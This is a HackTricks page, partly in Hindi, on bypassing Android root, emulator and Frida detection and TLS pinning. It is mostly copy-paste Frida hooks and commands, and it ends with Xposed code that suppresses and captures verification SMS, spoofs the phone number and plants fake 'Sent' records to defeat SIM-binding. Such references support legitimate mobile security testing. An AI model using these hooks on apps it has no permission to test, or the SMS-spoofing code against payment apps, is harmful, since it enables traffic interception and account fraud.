Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।
This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
Detection Surface (what apps check)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
Bypassing Anti-Frida Detection / Stealth Frida Servers
phantom-frida rebuilds Frida from source and applies ~90 patches so common Frida fingerprints disappear while the stock Frida protocol remains compatible (frida-tools can still connect). Target: apps that grep /proc (cmdline, maps, task comm, fd readlink), D-Bus service names, default ports, or exported symbols.
Phases:
- Source patches: global rename of
fridaidentifiers (server/agent/helper) and rebuilt helper DEX with a renamed Java package. - Targeted build/runtime patches: meson tweaks, memfd label changed to
jit-cache, SELinux labels (e.g.,frida_file) renamed, libc hooks onexit/signaldisabled to avoid hook-detectors. - Post-build rename: exported symbol
frida_agent_mainrenamed after the first compile (Vala emits it), requiring a second incremental build. - Binary hex patches: thread names (
gmain,gdbus,pool-spawner) replaced; optional sweep removes leftoverfrida/Fridastrings.
Detection vectors covered:
- Base (1–8): process name
frida-server, mappedlibfrida-agent.so, thread names, memfd label, exportedfrida_agent_main, SELinux labels, libc hook side-effects, and D-Bus servicere.frida.serverare renamed/neutralized. - Extended (9–16): change listening port (
--port), rename D-Bus interfaces/internal C symbols/GType names, temp paths like.frida/frida-, sweep binary strings, rename build-time defines and asset paths (libdir/frida). D-Bus interface names that are part of the wire protocol stay unchanged in base mode to avoid breaking stock clients.
Build/usage (Android arm64 example):
python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app
फ्लैग्स: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; WSL सहायक: wsl -d Ubuntu bash build-wsl.sh.
Step 1 — त्वरित समाधान: Magisk DenyList के साथ root छिपाएँ
- Magisk में Zygisk सक्षम करें
- DenyList सक्षम करें और target package जोड़ें
- रीबूट करें और पुनः परीक्षण करें
कई ऐप्स केवल स्पष्ट संकेतकों (su/Magisk paths/getprop) को देखते हैं। DenyList अक्सर इन सरल जाँचों को निष्प्रभावी कर देता है।
संदर्भ:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
Play Integrity / Zygisk detections (post‑SafetyNet)
नवीनतम बैंकिंग/ID ऐप्स runtime checks को Google Play Integrity (SafetyNet का प्रतिस्थापन) से जोड़ती हैं और यदि Zygisk स्वयं मौजूद हो तो वे क्रैश भी कर सकती हैं। त्वरित ट्रायेज़ सुझाव:
- अस्थायी रूप से Zygisk अक्षम करें (toggle off + reboot) और पुनः प्रयास करें; कुछ ऐप्स जैसे ही Zygote injection लोड होता है क्रैश हो जाते हैं।
- यदि attestation लॉगिन को ब्लॉक करता है, तो Google Play Services को PlayIntegrityFix/Fork + TrickyStore से patch करें या केवल परीक्षण के दौरान ReZygisk/Zygisk‑Next का उपयोग करें। लक्ष्य को DenyList में रखें और ऐसे LSPosed मॉड्यूल से बचें जो props leak करते हैं।
- सिंगल रनों के लिए, KernelSU/APatch (कोई Zygote injection नहीं) का उपयोग करें ताकि Zygisk heuristics के नीचे रहें, और फिर Frida attach करें।
Step 2 — 30‑second Frida Codeshare परीक्षण
गहरी जाँच में जाने से पहले सामान्य drop‑in scripts आज़माएँ:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
उदाहरण:
frida -U -f com.example.app -l anti-frida-detection.js
ये आमतौर पर Java root/debug checks, process/service scans, और native ptrace() को stub करते हैं। हल्के सुरक्षा वाले ऐप्स पर उपयोगी; hardened targets के लिए tailored hooks की जरूरत पड़ सकती है।
- Codeshare: https://codeshare.frida.re/
Medusa (Frida framework) के साथ ऑटोमेट करें
Medusa 90+ तैयार मॉड्यूल प्रदान करता है जो SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, और अन्य के लिए हैं।
git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py
# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app
टिप: Medusa कस्टम hooks लिखने से पहले तेज़ परिणामों के लिए शानदार है। आप modules को भी cherry-pick करके इन्हें अपने scripts के साथ combine कर सकते हैं।
Auto-Frida के साथ ऑटोमेट करें (spawn-mode + consolidated hooks)
Auto-Frida एक Frida automation toolkit है जो repeatable setup के साथ सुरक्षा की auto-detection और consolidated bypass script generation पर केंद्रित है। इसका उपयोग तब उपयोगी होता है जब apps बहुत जल्दी चेक चलाते हैं या जब कई bypass modules अन्यथा एक ही APIs को double-hook कर सकते हैं।
Key automation ideas:
- Spawn-mode analysis:
Application.onCreate()से पहले hooks इंस्टॉल करने के लिए ताकि early SSL pinning, root, emulator, या anti-Frida checks पकड़े जा सकें। - Protection detection + auto-bypass: detection के नतीजे एक single consolidated script बनाने में योगदान देते हैं जो हर Java method/native symbol को सिर्फ एक बार hook करता है, जिससे overlapping hooks से होने वाले crashes कम होते हैं।
- Frida server lifecycle checks: रन को स्थिर रखने के लिए डाउनलोड/रीस्टार्ट से पहले server health (process + port
27042+frida-pshandshake) सत्यापित करें।
Quick start:
git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py
नोट्स
- Auto-Frida गायब होने पर
frida/frida-toolsको स्वतः इंस्टॉल कर सकता है और यह मल्टी‑डिवाइस चयन का समर्थन करता है। - जनरेट की गई स्क्रिप्ट्स तुरंत निष्पादित की जा सकती हैं या विश्लेषण के बाद आपके custom hooks के साथ मर्ज की जा सकती हैं।
चरण 3 — init-time detectors को बायपास करें, देर से attach करके
कई detections केवल process spawn/onCreate() के दौरान चलते हैं। Spawn‑time injection (-f) या gadgets पकड़े जाते हैं; UI लोड होने के बाद attach करने पर ये आसानी से बायपास हो सकते हैं।
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
यदि यह काम करता है, तो session को stable रखें और map और stub checks पर आगे बढ़ें।
Step 4 — Jadx और string hunting के माध्यम से detection logic मैप करें
Static triage keywords in Jadx:
- “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”
सामान्य Java पैटर्न:
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
सामान्य APIs जिन्हें review/hook करना चाहिए:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
चरण 5 — Runtime stubbing with Frida (Java)
बिना repacking के custom guards को सुरक्षित मान लौटाने के लिए override करें:
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };
// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };
// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
प्रारंभिक crashes का triage कर रहे हैं? बंद होने से ठीक पहले classes को dump करें ताकि संभावित detection namespaces का पता चल सके:
Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});
त्वरित root detection स्टब उदाहरण (लक्षित package/class नामों के अनुसार अनुकूलित करें):
Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});
संदिग्ध methods को Log और neuter करें ताकि execution flow की पुष्टि हो:
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});
Bypass emulator/VM detection (Java stubs)
सामान्य हीयुरिस्टिक्स: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE में generic/goldfish/ranchu/sdk शामिल होना; QEMU के artifacts जैसे /dev/qemu_pipe, /dev/socket/qemud; डिफ़ॉल्ट MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors की अनुपस्थिति।
Build फ़ील्ड्स का त्वरित spoof:
Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
फ़ाइल मौजूदगी की जाँच और identifiers (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) के लिए स्टब जोड़ें ताकि वे यथार्थवादी मान लौटाएँ।
SSL pinning bypass quick hook (Java)
कस्टम TrustManagers को निष्क्रिय करें और permissive SSL contexts को अनिवार्य करें:
Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };
// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});
नोट्स
- OkHttp के लिए विस्तारित करें: आवश्यकतानुसार okhttp3.CertificatePinner और HostnameVerifier को hook करें, या CodeShare से एक universal unpinning script का उपयोग करें.
- उदाहरण चलाएँ:
frida -U -f com.target.app -l ssl-bypass.js --no-pause
OkHttp4 / gRPC / Cronet pinning (2024+)
आधुनिक स्टैक्स नए APIs के अंदर pin करते हैं (OkHttp4+, gRPC over Cronet/BoringSSL). जब basic SSLContext hook अटक जाए तो इन hooks को जोड़ें:
Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}
try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});
यदि TLS अभी भी विफल रहता है, तो native पर जाएँ और Cronet/gRPC द्वारा उपयोग किए जाने वाले BoringSSL सत्यापन एंट्री पॉइंट्स को पैच करें:
const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL; // disable callback
}
});
}
चरण 6 — जब Java hooks विफल हों तो JNI/native ट्रेल का पालन करें
JNI एंट्री-पॉइंट्स को ट्रेस करके native loaders और detection init का पता लगाएँ:
frida-trace -n com.example.app -i "JNI_OnLoad"
बंडल किए गए .so फ़ाइलों का त्वरित नेटिव ट्रायज:
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
इंटरैक्टिव/नेटीव रिवर्सिंग:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
उदाहरण: ptrace को निष्क्रिय करके libc में सरल anti‑debug को हराना:
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
इन्हें भी देखें: Reversing Native Libraries
चरण 7 — Objection patching (embed gadget / strip basics)
जब आप repacking को runtime hooks की तुलना में प्राथमिकता देते हैं, तो आज़माएँ:
objection patchapk --source app.apk
Notes:
- Requires apktool; बिल्ड समस्याओं से बचने के लिए आधिकारिक गाइड से वर्तमान संस्करण सुनिश्चित करें: https://apktool.org/docs/install
- Gadget injection बिना root के instrumentation सक्षम करता है, लेकिन इसे मजबूत init‑time checks द्वारा अभी भी पकड़ा जा सकता है।
Optionally, Zygisk environments में मजबूत root hiding के लिए LSPosed modules और Shamiko जोड़ें, और child processes को कवर करने के लिए DenyList क्यूरेट करें।
पूर्ण वर्कफ़्लो के लिए जिसमें script-mode Gadget configuration और अपने Frida 17+ agent को APK में बंडल करना शामिल है, देखें:
Frida Tutorial — Self-contained agent + Gadget embedding
References:
- Objection: https://github.com/sensepost/objection
Step 8 — Fallback: Patch TLS pinning for network visibility
यदि instrumentation ब्लॉक किया गया है, तो आप pinning को स्थैतिक रूप से हटाकर ट्रैफिक का निरीक्षण कर सकते हैं:
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
- टूल: https://github.com/shroudedcode/apk-mitm
- नेटवर्क कॉन्फ़िग CA‑trust ट्रिक्स (और Android 7+ user CA trust) के लिए देखें:
Make APK Accept CA Certificate
LSPosed/Xposed Hooking Abuse (Telephony/SMS)
rooted devices पर, LSPosed/Xposed modules runtime पर Java telephony/SMS APIs को hook कर सकते हैं, जिससे डिस्क पर APK बिना बदले रहता है और ऐप जो देखता है उस पर पूरा नियंत्रण रखा जा सकता है। यह आमतौर पर उन SIM‑binding flows को bypass करने के लिए दुरुपयोग किया जाता है जो local telephony APIs या local SMS provider state पर भरोसा करते हैं।
मुख्य प्रिमिटिव्स
- Suppress outgoing verification SMS — token को exfiltrate करते समय
beforeHookedMethodमेंSmsManager.sendTextMessageको शॉर्ट‑सर्किट करके। - Spoof MSISDN/line number —
TelephonyManager.getLine1Number()औरSubscriptionInfo.getNumber()को मजबूर करके कि वे attacker‑controlled value लौटाएँ। - Plant a fake “Sent” record — SMS provider में नकली “Sent” रिकॉर्ड डालना ताकि जो ऐप्स local SMS history चेक करते हैं उन्हें एक सफल send दिखे, भले ही carrier ने इसे कभी प्राप्त न किया हो।
उदाहरण: SMS dispatch को ब्लॉक करें और content कैप्चर करें
XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);
उदाहरण: डिवाइस का फोन नंबर spoof करना
XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);
उदाहरण: inject एक नकली “Sent” SMS रिकॉर्ड
ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2); // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);
उपयोगी कमांड चीट-शीट
# List processes and attach
frida-ps -Uai
frida -U -n com.example.app
# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js
# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"
# Objection runtime
objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
Universal proxy forcing + TLS unpinning (HTTP Toolkit Frida hooks)
आधुनिक ऐप्स अक्सर सिस्टम proxies को अनदेखा करते हैं और pinning की कई परतें लागू करते हैं (Java + native), जिससे user/system CAs इंस्टॉल होने के बावजूद ट्रैफ़िक कैप्चर करना कठिन हो जाता है। एक व्यावहारिक तरीका यह है कि universal TLS unpinning को proxy forcing के साथ तैयार Frida hooks के माध्यम से मिलाया जाए, और सब कुछ mitmproxy/Burp के जरिए रूट किया जाए।
Workflow
- अपने host पर mitmproxy चलाएँ (या Burp)। सुनिश्चित करें कि डिवाइस host के IP/port तक पहुँच सकता है।
- HTTP Toolkit के consolidated Frida hooks लोड करें ताकि TLS को unpin किया जा सके और सामान्य stacks (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, आदि) में proxy उपयोग को मजबूर किया जा सके। यह CertificatePinner/TrustManager चेक्स को bypass करता है और proxy selectors को override कर देता है, इसलिए ट्रैफ़िक हमेशा आपके proxy के माध्यम से भेजा जाता है भले ही ऐप स्पष्ट रूप से proxies को disable कर दे।
- Frida और hook script के साथ target app शुरू करें, और mitmproxy में requests कैप्चर करें।
Example
# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause
# mitmproxy listening locally
mitmproxy -p 8080
Notes
- संभव होने पर system-wide proxy के साथ मिलाकर उपयोग करें:
adb shell settings put global http_proxy <host>:<port>. Frida hooks proxy उपयोग को लागू करेंगे भले ही ऐप्स global settings को bypass करें। - यह technique उन मामलों के लिए आदर्श है जब आपको उन mobile-to-IoT onboarding flows में MITM करने की आवश्यकता हो जहाँ pinning/proxy avoidance सामान्य है।
- Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning
संदर्भ
- Reversing Android Apps: Bypassing Detection Like a Pro
- Frida Codeshare
- Objection
- apk-mitm
- Jadx
- Ghidra
- r2frida
- Apktool install guide
- Magisk
- Medusa (Android Frida framework)
- Auto-Frida (Android Frida automation toolkit)
- Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa
- phantom-frida (stealth Frida server builder)
- Frida OkHttp4 SSL pinning bypass script
- XDA guide to strong Play Integrity bypass (2025)
- Weaponizing LSPosed: Remote SMS Injection and Identity Spoofing in Modern Payment Ecosystems
Tip
AWS Hacking सीखें & अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें:HackTricks Training Azure Red Team Expert (AzRTE)
assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।
HackTricks का समर्थन करें
- subscription plans देखें!
- जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
- HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।


